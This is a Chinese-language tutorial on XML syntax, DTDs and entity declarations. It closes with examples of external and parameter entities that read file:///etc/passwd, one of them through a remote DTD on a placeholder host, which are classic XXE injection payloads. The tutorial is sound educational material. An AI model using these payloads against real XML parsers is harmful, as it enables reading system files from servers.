XML 介绍
XML 语法
XML 声明文件,放在文件第一行
<?xml version="1.0" encoding="UTF-8" ?>
XML 必须包含根元素,比如下面的 userInfo 元素
<userInfo> <name>d4m1ts</name> <age>18</age> </userInfo>
所有的 XML元素必须闭合
<p>paragraph</p> <!-- 后面的 </p> 不能省略 -->
XML 标签对大小写敏感
所有的元素必须正确的嵌套
<b><p>This text is bold and italic</b></p> <!-- 错误 --> <p><i>This text is bold and italic</i></p> <!-- 正确 -->
属性都必须加双引号
<p attr="加双引号">aa</p>
XML 注释和 HTML 一样
<!-- 我是注释 -->
XML DTD
DTD 简介
XML DTD 的作用是定义 XML 文档的合法构建模块,使用一系列的合法元素定义文档结构
内部 DOCTYPE 声明
<!-- 语法 --> <!DOCTYPE root-element [element-declarations]>
<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE userInfo [ <!ELEMENT userInfo (name,age)> <!ELEMENT name (#PCDATA)> <!ELEMENT age ANY> ]> <userInfo> <name>d4m1ts</name> <age>18</age> </userInfo>
DTD 内容解释:
!DOCTYPE userInfo
: 表明此 DTD 文件是用于定义 userinfo 元素的结构!ELEMENT userInfo (name,age)
: 表明 userIndo 有两个元素 name、age!ELEMENT name (#PCDATA)
: 定义 name 元素的数据类型!ELEMENT age ANY
: ANY 表示任何可解析的数据组合
外部 DOCTYPE 声明
<!-- 语法 --> <!DOCTYPE root-element SYSTEM "filename">
<!-- XML文件 --> <?xml version="1.0"?> <!DOCTYPE note SYSTEM "note.dtd"> <note> <to>Tove</to> <from>Jani</from> <heading>Reminder</heading> <body>Don't forget me this weekend!</body> </note>
<!-- 包含 DTD 的 "note.dtd" 文件 --> <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)>
DTD 实体
DTD 实体是用于定义引用普通文本或特殊字符的快捷方式的
变量
。
内部实体
<!-- 语法 --> <!ENTITY entity-name "entity-value">
<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE userInfo [ <!ELEMENT userInfo (name,age)> <!ELEMENT name (#PCDATA)> <!ELEMENT age (#PCDATA)> <!ENTITY name "d4m1ts"> ]> <userInfo> <name>&name;</name> <age>18</age> </userInfo>
外部实体
<!-- 语法 --> <!ENTITY entity-name SYSTEM "URI/URL">
<!-- 不要求后缀一定是 dtd,只要符合 dtd 文件格式即可 --> <!ENTITY name SYSTEM "http://baidu.com/test.dtd">
通用实体
<?xml version="1.0"?> <!DOCTYPE a [<!ENTITY b SYSTEM "file:///etc/passwd" >]> <x>&b;</x>
参数实体
<!-- http://xxx.com/xxe.dtd --> <!ENTITY xxe SYSTEM "file:///etc/passwd" > <?xml version="1.0"?> <!DOCTYPE a [<!ENTITY % d SYSTEM "http://xxx.com/xxe.dtd" > %d; ]> <x>&xxe;</x>
% 用于实体在 DTD 定义内部求值的情况
& 用于实体在 XML 文档中被求值的情况
最后更新于
这有帮助吗?